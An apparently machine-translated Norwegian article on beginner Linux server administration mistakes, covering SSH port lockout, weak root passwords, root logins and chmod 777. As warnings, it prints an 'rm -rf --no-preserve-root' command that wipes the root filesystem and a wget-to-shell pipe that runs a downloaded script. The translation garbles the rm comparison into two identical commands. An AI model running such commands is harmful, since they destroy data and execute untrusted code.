Linux-kommandolinjen gir serveradministratorer kontroll over serverne sine og dataene som er lagret på dem, men det gjør lite for å hindre dem i å kjøre destruktive kommandoer med konsekvenser som ikke kan angres. Sletting av utilsiktet data er bare en type feil som nye serveradministratorer gjør.
Låser nøklene inni
Serveradministratorer kobler til servere med SSH, en tjeneste som vanligvis kjører på port 22, og gir et påloggingsskall der autentiserte brukere kan kjøre kommandoer på eksterne servere. Et standard sikkerhetsherdetrinn er å konfigurere SSH til å godta tilkoblinger på en annen port. Å flytte SSH til en tilfeldig port med høyt nummer begrenser virkningen av brute-force-angrep; hackere kan ikke prøve skadelige pålogginger når de ikke finner porten som SSH lytter til.
Imidlertid kan en administrator som konfigurerer SSH til å lytte i en annen port og deretter starter SSH-serveren på nytt, oppdage at det ikke bare er hackere som er utelåst. Hvis serverens brannmur ikke også er konfigurert på nytt for å tillate tilkoblinger på den nye porten, vil forsøk på å koble aldri nå SSH-serveren. Administratoren vil bli låst ute av serveren sin uten noen måte å løse problemet, bortsett fra å åpne en supportbillett hos vertsleverandøren. Hvis du endrer SSH-porten, må du sørge for å åpne den nye porten i serverens brannmurkonfigurasjon.
Velge et lett gjettet passord
Brute-force angrep er et gjetningsspill. Angriperen prøver mange brukernavn og passord til de treffer på en kombinasjon som slipper dem inn. Et ordbokangrep er en mer raffinert tilnærming som bruker lister over passord, ofte hentet fra lekket passorddatabaser. Angrep mot rotkontoen er lettere enn mot andre kontoer fordi angriperen allerede kjenner brukernavnet. Hvis en rotkonto har et enkelt passord, kan det bli hacket på kort tid.
Det er tre måter å forsvare seg mot både brute-force og ordbokangrep mot rotkontoen.
- Velg et langt og komplekst passord. Enkle passord er enkle å knekke; lange og komplekse passord er umulige.
- Konfigurer SSH for å ikke tillate root-pålogginger. Dette er en enkel konfigurasjonsendring, men sørg for at "sudo" er konfigurert slik at kontoen din kan heve rettighetene.
- Bruk nøkkelbasert autentisering i stedet for passord. Sertifikatbaserte pålogginger fjerner risikoen for brutale kraftangrep helt.
Kopiere kommandoer du ikke forstår
Stack Exchange, Server Fault og lignende nettsteder er en livline for nye Linux-systemadministratorer, men du bør unngå fristelsen til å kopiere og lime inn en shell-kommando som du ikke forstår. Hva er forskjellen mellom disse to kommandoene?
sudo rm -rf --no-preserve-root / mnt / mydrive /sudo rm -rf --no-preserve-root / mnt / mydrive /
Det er lett å se når de vises sammen, men ikke så lett når du søker gjennom fora på jakt etter en kommando for å slette innholdet i et montert volum. Den første kommandoen sletter alle filene på den monterte stasjonen. Den andre kommandoen sletter disse filene og alt på serverens rotfilsystem. Den eneste forskjellen er plassen før den endelige skråstrek.
Serveradministratorer kan komme over lange kommandoer med rørledninger som sies å gjøre en ting, men gjøre noe annet helt. Vær spesielt forsiktig med kommandoer som laster ned kode fra internett.
wget http: // eksempel.com / verybadscript -O - | sh -Denne kommandoen bruker wget for å laste ned et skript som ledes til skallet og utføres. For å kjøre dette trygt, må du forstå hva kommandoen gjør og også hva nedlastet skript gjør, inkludert hvilken som helst kode det nedlastede skriptet selv kan laste ned.
Logger inn som rot
Mens vanlige brukere bare kan endre filer i hjemmemappen, er det lite som rotbrukeren ikke kan gjøre på en Linux-server. Den kan kjøre hvilken som helst programvare, lese alle data og slette alle filer.
Applikasjoner som kjøres av rotbrukeren har lignende kraft. Det er praktisk å være pålogget som rotbruker fordi du ikke trenger å "sudo" eller "su" hele tiden, men det er farlig. En skrivefeil kan ødelegge serveren din på få sekunder. Buggy-programvare som kjøres av rotbrukeren kan skape en katastrofe. For daglig drift, logg inn som en vanlig bruker og løft til root-rettigheter bare når det er nødvendig.
Lærer ikke filsystemtillatelser
Tillatelser til filsystemer kan være forvirrende og frustrerende for nye Linux-brukere. En tillatelsesstreng som "drwxr-xr-x" ser ut til å være meningsløs i begynnelsen, og tillatelser kan hindre deg i å endre filer og stoppe programvaren å gjøre det du vil at den skal gjøre.
Systemadministratorer lærer raskt at chmod 777 er en magisk besvergelse som løser de fleste av disse problemene, men det er en forferdelig idé. Det lar alle med en konto lese, skrive og utføre filen. Hvis du kjører den kommandoen på katalogen til en webserver, ber du om å bli hacket. Linux-filtillatelser ser kompliserte ut, men hvis du tar noen minutter å lære hvordan de fungerer, vil du oppdage et logisk og fleksibelt system for å kontrollere filtilgang.
I en tid som verdsetter enkle brukeropplevelser over alle andre faktorer, forblir Linux-kommandolinjen resolutt kompleks og motstandsdyktig mot forenkling. Du kan ikke rote deg gjennom og håpe det hele vil være bra. Det vil ikke være bra, og du vil ende opp med en katastrofe på hendene.
Men hvis du lærer det grunnleggende - filtillatelser, kommandolinjeverktøy og deres valg, sikkerhetsrutiner - kan du bli en mester på en av de kraftigste databehandlingsplattformene som noensinne er opprettet.